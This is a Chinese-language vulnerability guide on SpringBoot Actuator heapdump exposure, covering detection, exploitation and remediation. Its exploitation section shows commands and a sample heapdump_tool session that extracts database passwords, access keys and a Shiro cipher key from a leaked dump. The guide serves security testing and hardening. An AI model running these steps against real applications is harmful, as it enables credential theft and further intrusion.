0x01 漏洞描述
- SpringBoot Heapdump信息泄露 -
Heapdump 信息泄露是 SpringBoot 应用中一个潜在的安全风险,攻击者可以通过访问 heapdump 文件获取敏感信息。SpringBoot Actuator 端点 /heapdump 或 /actuator/heapdump 会生成应用的堆转储文件,该文件包含:内存中的敏感数据(如数据库凭证、API密钥等)、应用内部状态信息、类结构和对象关系等。
0x02 漏洞检测
2.1 手动检测
使用 curl 命令探测网站及接口地址是否存在 heapdump 文件。
curl -v http://your-app/actuator/heapdump
curl -v http://your-app/heapdump
2.2 被动检测
使用 BurpSuite 工具 BurpAPIFinder 插件进行被动扫描探测文件。
打开 BurpSuite 工具页面,点击 Extensions 选项,添加下载好的 BurpAPIFinder.jar 文件
。
浏览器设置好 BurpSuite 代理,然后访问待测试的站点,BurpAPIFinder 插件可以被动扫描网站路径下是否存在 heapdump 文件。
0x03 漏洞利用
下载 heapdump_tool.jar 工具到本地,使用 JDK8 环境运行工具。
- 项目地址:https://github.com/wyzxxz/heapdump_tool
- 备用地址:https://pan.baidu.com/s/1VtcttUxIKahHhvbcnmXk1w 提取码: r02t
将网站泄露的 heapdump 文件下载到本地,然后使用 heapdump_tool.jar 可提取 heapdump 中的敏感信息。
java -jar heapdump_tool.jar heapdump
查询方式:
1. 关键词 例如 password
2. 字符长度 len=10 获取长度为10的所有key或者value值
3. 按顺序获取 num=1-100 获取顺序1-100的字符
4. class模糊搜索 class=xxx 获取class的instance数据信息
5. id查询 id=0xaaaaa 获取id为0xaaaaa的class或者object数据信息
4. re正则查询 re=xxx 自定义正则查询数据信息
获取url,file,ip
shirokey 获取shirokey的值
geturl 获取所有字符串中的url
getfile 获取所有字符串中的文件路径文件名
getip 获取所有字符串中的ip
默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true,all=false取消显示所有值。
示例:
> java -jar heapdump_tool.jar heapdump
[-] Start jhat, waiting...
[-] fing object count: 100000
[-] too many object,please input 0/1 to choose mode.
0. (search data, may can't find some data, can't use function num=,len=).
1. (load all object, need wait a few minutes).
> 0
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
> spring.datasource.password
[-] Start find keyword: spring.datasource.password
>> spring.datasource.password -> test@wyzxxz
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
> accesskey
[-] Start find keyword: accessKey
>> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can''t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
>> accessKey -> LTA**************
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
> shirokey
>> kPH+bIxk5D2deZiIxcaaaA==
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
> class=shiro.web.mgt
- > org.apache.shiro.web.mgt.CookieRememberMeManager
- - - -> org.apache.shiro.crypto.AesCipherService
- - - - - - - -> algorithmName -> AES
- - - - - - - -> blockSize -> 0
- - - - - - - -> generateInitializationVectors -> true
- - - - - - - -> initializationVectorSize -> 128
- - - - - - - -> keySize -> 128
- - - - - - - -> modeName -> CBC
- - - - - - - -> paddingSchemeName -> PKCS5Padding
- - - - - - - -> secureRandom -> <null>
- - - - - - - -> streamingBlockSize -> 8
- - - - - - - -> streamingBufferSize -> 512
- - - - - - - -> streamingModeName -> CBC
- - - - - - - -> streamingPaddingSchemeName -> PKCS5Padding
- - - - - - - -> streamingTransformationString -> <null>
- - - - - - - -> transformationString -> <null>
- - - -> cipherService ->
- - - -> org.apache.shiro.web.servlet.SimpleCookie
- - - - - - - -> comment -> <null>
- - - - - - - -> domain -> <null>
- - - - - - - -> httpOnly -> true
- - - - - - - -> maxAge -> 31536000
- - - - - - - -> name -> rememberMe
- - - - - - - -> path -> <null>
- - - - - - - -> secure -> false
- - - - - - - -> value -> <null>
- - - - - - - -> version -> -1
- - - -> cookie ->
- - - -> decryptionCipherKey -> xxxx
- - - -> encryptionCipherKey -> xxxx
- - - -> org.apache.shiro.io.DefaultSerializer
- - - -> serializer ->
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey input q/quit to quit.
> q
[-] exit.
0x04 漏洞修复
- 禁用 heapdump 端点(推荐)
# application.properties
management.endpoint.heapdump.enabled=false
- 限制访问权限
如果必须启用,应严格限制访问。
# 只允许本地访问
management.endpoints.web.exposure.include=info,health
management.endpoint.heapdump.enabled=true
management.endpoint.heapdump.sensitive=true
配合 Spring Security 进行认证:
@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.requestMatcher(EndpointRequest.toAnyEndpoint())
.authorizeRequests()
.anyRequest().hasRole("ADMIN")
.and()
.httpBasic();
}
}
- 使用网络层控制
通过防火墙/安全组限制只允许特定IP访问 actuator 端口。